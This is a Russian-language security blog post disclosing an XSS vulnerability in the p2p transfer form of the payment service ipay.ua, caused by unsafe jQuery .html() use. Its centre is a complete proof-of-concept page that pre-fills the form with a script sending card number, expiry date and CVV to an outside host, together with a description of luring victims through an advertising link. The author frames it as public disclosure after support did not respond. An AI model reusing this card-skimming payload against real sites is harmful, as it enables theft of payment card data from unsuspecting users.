Эксплуатируем XSS уязвимость на сайте ipay.ua для кражи карточных данных

Information SecurityPayment systems
Продолжая пентестинг отечественных платежных систем, я остановился на довольно популярном в Украине платежном сервисе ipay.ua.

Меня интересовало, на сколько PCI DSS сертификация платежными системами и проводимое ими ежеквартальное ASV-сканирование (в том числе на наличие XSS уязвимостей) гарантирует защиту данных клиентов.

Моё внимание привлекла форма p2p переводов по адресу www.ipay.ua/ru/p2p. Проверяя форму на фильтрацию вводимых данных, я добрался до поля для комментария (оно по умолчанию скрыто, что бы оно появилось, нужно поставить курсор в поле «Телефон получателя»). Как обычно, для первичной проверки, начал вводить текст:
<script>alert('XSS!')
… И только я закрыл скобку, как увидел на экране модальное окно с сообщением.


Мне стала интересна причина такого поведения страницы и я полез в её содержимое.
Проанализировав javascript код я понял, что виной был следующий кусок:
    $("textarea[name='comment']").keyup(function() {
        comment = $(this).val();
        $("textarea[name='comment']").html(comment);        
        validComment();
    });

А точнее, виной стало незнание разработчика, что jQuery конструктор или метод, который принимает на вход HTML строку, может потенциально выполнить код.


Ссылка на описание метода html()

Далее мне захотелось реализовать способ эксплуатации данной уязвимости, что бы стала возможной кража вводимых карточных данных, а точнее, отправка этих данных на сторонний сервер.

Анализируя работу страницы для p2p переводов, я обнаружил, что можно при помощи POST запроса сформировать частично заполненную форму, подставив в поле комментария javascript код, который так же не валидировался на сервере (двойной фэйл разработчиков)

Я создал html страничку со следующим содержимым:



Отправив данные на сервер, я получил форму с заполненным полем для комментария.



Теперь для того, что бы внедренный javascript код выполнился, достаточно начать редактировать содержимое поля(спасибо функции .keyup() библиотеки jQuery ).

Осталось дело за малым: сформировать должным образом передаваемый javascript код, что бы он отправлял данные формы на сторонний сайт.

Содержимое моей html странички приобрело следующий вид:

<html>
<body>
<form action="https://www.ipay.ua/ru/p2p" method="post">
<input type="hidden" name="gate" value="P2pUpc"/>
<input type="hidden" name="policy" value="1"/>
<input type="hidden" name="cvv" value="123"/>
<input type="hidden" name="amount" value="100"/>
<input type="hidden" name="senderPan1" value="4444"/>
<input type="hidden" name="senderPan2" value="5555"/>
<input type="hidden" name="senderPan3" value="6666"/>
<input type="hidden" name="senderPan4" value="1111"/>
<input type="hidden" name="expMon" value="01"/>
<input type="hidden" name="expYear" value="18"/>
<input type="hidden" name="transfer-send" value="Выполнить перевод"/>
<input type="hidden" name="comment" value="
	<script>
	$.post('https://someverydangeroussite/ajax/saveData.php',{
		pan1:$('input[name=senderPan1]').val(), 
		pan2:$('input[name=senderPan2]').val(), 
		pan3:$('input[name=senderPan3]').val(), 
		pan4:$('input[name=senderPan4]').val(), 
		expMon:$('input[name=expMon]').val(), 
		expYear:$('input[name=expYear]').val(), 
		cvv:$('input[name=cvv]').val()});
	</script>"/>
<input type="submit"/>
</form>
</body>
</html>

Карточные данные в форме я заполнил заранее для простоты демонстрации.

Теперь отправив эти данные на сервер ipay.ua, получим форму для p2p перевода, заполнив которую, наша жертва при попытке редактирования комментария (например при его удалении), отправит свои карточные данные на сторонний сервер:


Таким образом злоумышленнику достаточно разместить на своём сайте ссылку под видом рекламы p2p переводов и перенаправить POST запросом пользователя на страницу https://www.ipay.ua/ru/p2p с внедренным зловредным кодом, чтобы иметь возможность украсть данные карты жертвы.

Я, естественно, сообщил о данной уязвимости в саппорт и мне ответили, что если разработчики посчитают нужным, свяжутся со мной.

Но по истечении 3 недель со мной ни кто так и не связался, а уязвимость так и остаётся открытой.

Поэтому цель данной статьи не только показать один из вариантов эксплуатации XSS уязвимости, но и как можно быстрее донести информацию о её наличии до ответственных лиц в компании Ipay.ua
Tags:xssp2pуязвимостьперсональные данныеipay.ua
Hubs: Information Security Payment systems
+84
48.9k 149
Comments 61

Popular right now

Product Manager IT-проектов
January 28, 202160,000 ₽OTUS
JavaScript Developer. Professional
January 28, 202170,000 ₽OTUS
Тренажер product-менеджера
January 28, 202128,500 ₽SkillFactory
Team Lead 2.0
January 28, 202190,000 ₽OTUS
Android-разработчик с нуля
January 29, 202179,900 ₽Нетология

Top of the last 24 hours